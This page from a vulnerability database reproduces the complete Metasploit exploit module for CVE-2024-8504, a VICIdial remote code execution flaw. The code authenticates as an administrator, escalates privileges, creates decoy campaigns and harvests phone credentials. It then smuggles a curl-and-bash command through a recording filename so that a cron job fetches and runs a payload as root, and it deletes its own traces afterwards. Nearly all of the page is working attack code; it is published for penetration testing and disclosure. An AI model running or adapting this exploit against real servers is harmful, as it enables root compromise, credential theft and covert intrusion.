Lucene search
+L

VICIdial Authenticated Remote Code Execution

🗓️ 10 Sep 2024 00:00:00Reported by Valentin Lobstein, Jaggar Henry of KoreLogic, Inc.Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 342 Views

VICIdial Authenticated Remote Code Execution - Attacker with authenticated access as an "agent" can execute arbitrary shell commands as the "root" user. Can be chained with CVE-2024-8503 to execute arbitrary shell commands from an unauthenticated perspective

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VICIdial Authenticated Remote Code Execution',
        'Description' => %q{
          An attacker with authenticated access to VICIdial as an "agent"
          can execute arbitrary shell commands as the "root" user. This
          attack can be chained with CVE-2024-8503 to execute arbitrary
          shell commands starting from an unauthenticated perspective.
        },
        'Author' => [
          'Valentin Lobstein',              # Metasploit Module
          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-8504'],
          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
        ],
        'DisclosureDate' => '2024-09-10',
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Privileged' => true
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 300,
          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Administrator username']),
      OptString.new('PASSWORD', [true, 'Administrator password']),
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'GET'
    })

    return CheckCode::Unknown('Could not determine the target status') unless res&.code == 200

    html_doc = res.get_html_document

    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
                   res.body.split("\n").find { |line| line.include?('VERSION:') }

    return CheckCode::Unknown('Could not determine the target status') unless version_info

    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')

    return CheckCode::Unknown('Could not determine the target status') if extracted_version.empty?

    print_status("VICIdial version: #{extracted_version}")

    vulnerable_version = Rex::Version.new('2.14-917a')
    current_version = Rex::Version.new(extracted_version)

    return current_version <= vulnerable_version ? CheckCode::Vulnerable("Detected vulnerable version #{current_version}") : CheckCode::Safe("Version #{current_version} is not vulnerable")
  end

  def exploit
    # Start the HTTP server to handle incoming requests from the payload
    start_service
    print_status('Server started.')

    # Add the resource to serve the payload and prepare the listener
    primer

    # Authenticate as an administrator using provided credentials
    target_uri, request_headers = authenticate_admin

    # Elevate user privileges by updating user settings
    update_user_settings(target_uri, request_headers)

    # Update the system settings for further exploitation
    update_system_settings(target_uri, request_headers)

    # Create a dummy campaign to act as a decoy during the attack
    fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)

    # Modify the settings of the newly created dummy campaign
    update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)

    # Create a dummy list associated with the dummy campaign
    create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)

    # Retrieve phone credentials (extension and password) to authenticate as an agent
    phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)

    # Authenticate to the agent portal using the retrieved phone credentials and campaign ID
    session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)

    # Insert a malicious recording that contains the payload, using the agent session
    insert_malicious_recording(request_headers, session_name, session_id, recording_extension)

    # Clean up by deleting the campaign created earlier
    delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)

    # Start the cron job to execute the malicious payload
    wait_for_cron_job
  end

  def primer
    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
    print_status('Payload is ready at /')
  end

  def on_request_uri_payload(cli, request)
    bash_command = <<-BASH
  #!/bin/bash
  rm -- $(readlink /proc/$$/fd/255)
  cd /var/spool/asterisk/monitor/
  #{payload.encoded}
  find . -maxdepth 1 -type f -delete
    BASH

    handle_request(cli, request, bash_command)
  end

  def handle_request(cli, request, response_payload)
    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")

    case request.uri
    when '/'
      print_status("Sending response to #{cli.peerhost} for /")
      send_response(cli, response_payload)
    else
      print_error("Request for unknown resource: #{request.uri}")
      send_not_found(cli)
    end
  end

  def delete_dummy_campaign(target_uri, request_headers, campaign_id)
    print_status("Deleting dummy campaign with ID: #{campaign_id}")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
      'method' => 'GET',
      'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
      'headers' => request_headers
    })

    res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
  end

  def authenticate_admin
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    credentials = "#{username}:#{password}"
    credentials_base64 = Rex::Text.encode_base64(credentials)
    auth_header = "Basic #{credentials_base64}"

    target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
    request_params = { 'ADD' => '3', 'user' => username }
    request_headers = { 'Authorization' => auth_header }

    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'vars_get' => request_params,
      'headers' => request_headers,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200

    print_good("Authenticated successfully as user '#{username}'")
    [target_uri, request_headers]
  end

  def update_user_settings(target_uri, request_headers)
    faker = Faker::Internet

    user_settings_body = {
      'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
      'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
      'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
      'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
      'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
      'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
      'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
      'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
      'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
      'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
      'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
      'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
      'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
      'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
      'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
      'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
      'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
      'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
      'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
      'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
      'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
      'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
      'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
      'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
      'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
      'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
      'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
      'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
      'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
      'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
      'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
      'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
      'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
      'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
      'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
      'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
      'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
      'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
      'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
      'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
      'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
      'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
      'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
      'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => user_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated user settings to increase privileges')
  end

  def update_system_settings(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res

    system_settings_body = {}
    res.get_html_document.css('input').each do |input_tag|
      system_settings_body[input_tag['name']] = input_tag['value']
    end

    res.get_html_document.css('select').each do |select_tag|
      selected_tag = select_tag.at_css('option[selected]')
      next unless selected_tag

      system_settings_body[select_tag['name']] = selected_tag.text
    end

    system_settings_body['outbound_autodial_active'] = '0'

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => system_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated system settings')
  end

  def create_dummy_campaign(target_uri, request_headers)
    fake_company_name = Faker::Company.name
    fake_campaign_id = Faker::Number.number(digits: 6).to_i
    fake_list_id = fake_campaign_id + 1
    fake_list_name = "#{fake_company_name} List"

    campaign_settings_body = {
      'ADD' => '21',
      'campaign_id' => fake_campaign_id,
      'campaign_name' => fake_company_name,
      'user_group' => '---ALL---',
      'active' => 'Y',
      'allow_closers' => 'Y',
      'hopper_level' => '1',
      'next_agent_call' => 'random',
      'local_call_time' => '12am-12am',
      'get_call_launch' => 'NONE',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => campaign_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy campaign '#{fake_company_name}'")
    [fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
  end

  def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
    update_campaign_body = {
      'ADD' => '41',
      'campaign_id' => fake_campaign_id,
      'old_campaign_allow_inbound' => 'Y',
      'campaign_name' => fake_company_name,
      'active' => 'Y',
      'lead_order' => 'DOWN',
      'lead_filter_id' => 'NONE',
      'no_hopper_leads_logins' => 'Y',
      'hopper_level' => '1',
      'reset_hopper' => 'N',
      'dial_method' => 'RATIO',
      'auto_dial_level' => '1',
      'SUBMIT' => 'SUBMIT',
      'form_end' => 'END'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => update_campaign_body,
      'keep_cookies' => true
    )

    print_good('Updated dummy campaign settings')
  end

  def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
    list_settings_body = {
      'ADD' => '211',
      'list_id' => fake_list_id,
      'list_name' => fake_list_name,
      'campaign_id' => fake_campaign_id,
      'active' => 'Y',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => list_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
  end

  def fetch_phone_credentials(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => '10000000000' },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res

    phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
    fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
      'method' => 'GET',
      'headers' => request_headers,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res

    phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
    phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
    recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')

    if [phone_extension, phone_password, recording_extension].all?
      print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
    end

    [phone_extension, phone_password, recording_extension]
  end

  def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
    vdc_db_query_body = {
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'LogiNCamPaigns',
      'format' => 'html'
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
      'method' => 'POST',
      'vars_post' => vdc_db_query_body,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res

    doc = res.get_html_document
    mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
    mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')

    if mgr_login_name && mgr_pass_name
      print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
    else
      begin
        today_date = Time.now.strftime('%Y%m%d')
        mgr_login_name = "MGR_login#{today_date}"
        mgr_pass_name = "MGR_pass#{today_date}"
        print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
      end
    end

    manager_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'MGR_override' => '1',
      'relogin' => 'YES',
      mgr_login_name => datastore['USERNAME'],
      mgr_pass_name => datastore['PASSWORD'],
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => manager_login_body,
      'keep_cookies' => true
    )

    print_good('Entered "manager" credentials to override shift enforcement')

    agent_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'VD_campaign' => fake_campaign_id
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => agent_login_body
    )

    print_good('Authenticated as agent using phone credentials')

    session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
    session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)

    if session_name_match && session_id_match
      session_name = session_name_match[1]
      session_id = session_id_match[1]
      print_good("Session Name: #{session_name}, Session ID: #{session_id}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve session information')
    end

    [session_name, session_id]
  end

  def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
    malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
    print_status("Generated malicious command: #{malicious_filename}")

    record1_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'MonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => malicious_filename,
      'exten' => recording_extension,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record1_body,
      'keep_cookies' => true
    )

    recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
    if recording_id_match
      recording_id = recording_id_match[1]
      print_status(res.body)
    else
      fail_with(Failure::Unknown, 'Failed to get recording ID')
    end

    record2_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'StopMonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => "ID:#{recording_id}",
      'exten' => session_id,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record2_body,
      'keep_cookies' => true
    )

    print_good('Stopped malicious recording to prevent file size from growing')
  end

  def wait_for_cron_job
    print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
    service.wait
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation